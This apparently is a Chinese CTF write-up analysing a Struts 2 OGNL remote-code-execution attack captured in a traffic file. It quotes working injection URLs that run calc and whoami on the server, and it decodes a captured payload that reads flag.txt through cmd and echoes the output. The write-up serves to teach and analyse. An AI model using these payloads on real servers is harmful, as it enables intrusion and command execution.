[misc]Struts2漏洞 500

0x00 已知条件及分析

题目给出了一个压缩包(同样需要去掉冗余后缀),里面是一个winpcapng格式的流量包,用Wireshark查看。
发现大部分是混乱的数据。
根据题目名称“Struts 2漏洞”,查找相关资料了解到它的漏洞主要通过向服务器发送构造的数据作为OGNL表达式,绕过MVC框架的保护机制,达到远程代码执行开放重定向的目的。

  • Struts 2 简介:Struts 2 是一个基于MVC设计模式的Web应用框架,采用Interceptor(拦截器)机制,以Webwork为基础。而Webwork建立于Xwork之上。

  • MVC框架现学现卖(可能有错误):MVC是一种框架模式,意为“Model”(模型,程序核心,如数据库)-“View”(视图,将数据呈现给用户,如JSP、HTML)-“Controller”(控制器,从视图获取数据,并发送给模型进行处理,如Struts 2)。
    MVC将后台数据库独立存放,通过url请求无法直接访问这些数据,必须先经过Interceptor的参数检查,再经View交给后台java源码进行处理(称为一个action,可能有页面数据的动态生成)后才可能return到相应的JSP,将对应的html返回给请求方(在Spring中如此)。这种保护机制是与PHP不同的。

  • Xwork简介:Xwork是Struts 2的底层,提供了一系列基础构件,其中包括:一个IoC的容器、强大的表达式语言(OGNL)支持、数据类型转化、数据校验框架、可插拔的功能模块(插件模式)及其配置,并且在这一系列的基础构件之上,实现了一套基于Command设计模式的“事件请求执行框架”。
    当Struts 2收到一个Http请求时,Struts2只需要接收请求参数(要经过Interceptor的检查),交给Xwork完成执行序列,当Xwork执行完毕后,将结果交还Struts 2返回相应的视图

  • OGNL简介:OGNL是一种表达式语言,通过它可以简单地对JAVA对象中的属性进行访问。Struts 2 在处理'action'时将http参数声明为OGNL语句,转化为OGNL后执行。Xwork的Parameter interceptor(参数过滤器)不允许参数中出现'#'。

  • Struts 2 漏洞简略介绍:http://blog.csdn.net/zhangzeyuaaa/article/details/53676073

  • Struts 2 漏洞分析:http://www.rising.com.cn/newsletter/news/2013-09-22/14464.html,以下作远程代码执行测试部分的摘要,Webshell文件写入(同样利用远程代码执行)和重定向漏洞部分详见上面的链接。

  1. 通过导航前缀及重定向前缀的构造,可以将构造的数据作为OGNL表达式执行,而这种问题其实和以前公布的Struts远程代码执行漏洞的性质是一样的。结合以往的漏洞利用方式,我们的目的也就比较明确,就是可以在目标服务器环境中执行命令并将命令执行的结果反馈给我们。
    根据提供的PoC代码构造一个简单的命令执行的URL,具体内容为:
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?> action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc'})).start()}

这个URL的作用是在服务端执行命令calc,也就是执行一个计算器。从服务端的任务管理器中我们可以看到执行的结果,并且执行的用户名是SYSTEM。

  1. 但是这种简单的命令执行方式从客户端的浏览器环境中是看不到的,所以结合以往漏洞利用方式,我们通过构造URL将命令执行结果读入数据流中,然后再通过输出的方式在客户端进行展示,就实现了执行命令回显功能。我们再次构造提交的URL地址如下:
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

其中whoami是我们想要执行的命令,如果执行命令的字符串中包含有空格,则需要将字符串按照空格分为多个字符串,并用逗号隔开即可。然后我们再次提交这个URL地址,就可以看到远程命令执行时返回的命令执行结果信息

0x01 题目探究

单单就解题而言甚至跟漏洞没有太大的关系,在数据包中寻找FLAG使用追踪流或strings等方法即可。这里使用notepad搜索字符串(不匹配大小写),结果如下图。

image.png

这样显然索然无味,完全不知道漏洞是怎样利用的,进行了什么样的操作得到flag。所以这里进行进一步的探究。

关键数据帧

为了方便查看,在Wireshark中找到包含这个FLAG的数据帧,如下图。

image.png
image.png

可以看到红色部分是POST(猜测是向目标服务器)请求,其数据部分从'redirect:'开始,具体为:

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

是不是感觉在上面见过?把它和该帧头部的url拼在一起看看:

http://192.168.0.5:8080/struts2-blank/example/HelloWorld.action?redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

形式与上文 摘要2 中的测试代码极为相似,基本可以确定是向目标服务器发送的url编码请求。
下面的代码是 摘要2 的,这里便于对比:

[摘要2 代码]
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

为了确定该请求具体进行了什么操作,对'redirect'及其后部分的构造代码进行url解码。

[Python]
import urllib

print urllib.unquote('redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}')

结果如下:

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cmd /c type c:flag.txt'.toString().split('\s'))).start().getInputStream()).useDelimiter('\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}

可以看到的确使用了url编码的'#'(%23)绕过xork2保护机制的检查。

构造的代码分析

观察解码后的代码,不难发现形式与 摘要2 中“为了能从浏览器中直接查看到命令执行结果”而构造的代码类似。下面逐行进行分析:(原执行环境未知,只能加以推测)

  • 代码首尾是 #req 和 #resp ,都get了Struts 2的一个包 com.opensymphony.xwork2 ,分别获取了它的
    dispatcher.HttpServletReq 和 dispatcher.HttpServletResponse 。
  • servlet的主要功能在于交互式地浏览和修改数据,生成动态Web内容。
    并不懂Struts 2,推测这里是通过 #req 和 #resp 两个变量来作为这段代码的输入和输出(根据后两行推断),输出如同 摘要2。
  • 同 摘要1 所述,不同行的空格用逗号隔开。
  • 下两行,首先声明变量 #s ,用cmd执行命令将flag.txt中的内容读入输入流并赋予 #s:
#s=new java.util.Scanner((new java.lang.ProcessBuilder('cmd /c type c:flag.txt'.toString().split('\s'))).start().getInputStream()).useDelimiter('\AAAA')

然后将 #s 中的内容赋予 #str:

#str=#s.hasNext()?#s.next():''
  • 最后使用与 摘要2 相同的方法,将 str 读入数据流中,然后再通过输出(println)的方式在客户端进行展示,实现了执行命令回显功能。只不过在这之前增加了一行,设定编码格式为 utf-8.
#resp.setCharacterEncoding('UTF-8')
#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()
  • 总结一下,这段构造代码执行的操作是:从服务器目录中的'flag.txt'文件中读取了内容——本题的FLAG,然后将这内容输出到请求端的浏览器(回显),从而数据包中能够找到FLAG。

0x02 仍存疑的方面

  • 本题在解题上没有特别的难度,主要问题集中在对Struts 2远程代码执行漏洞的探究上,留作日后参考。
  • 由于没有补过JAVA,也对Struts 2不熟,匆匆查阅资料,许多疑点都夹带自己的推测,准确性难以保证。
  • 本题数据包中代码开头的 #req 请求变量没有被使用到,目的未知。
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest')
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,602评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,442评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,878评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,306评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,330评论 5 373
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,071评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,382评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,006评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,512评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,965评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,094评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,732评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,283评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,286评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,512评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,536评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,828评论 2 345

推荐阅读更多精彩内容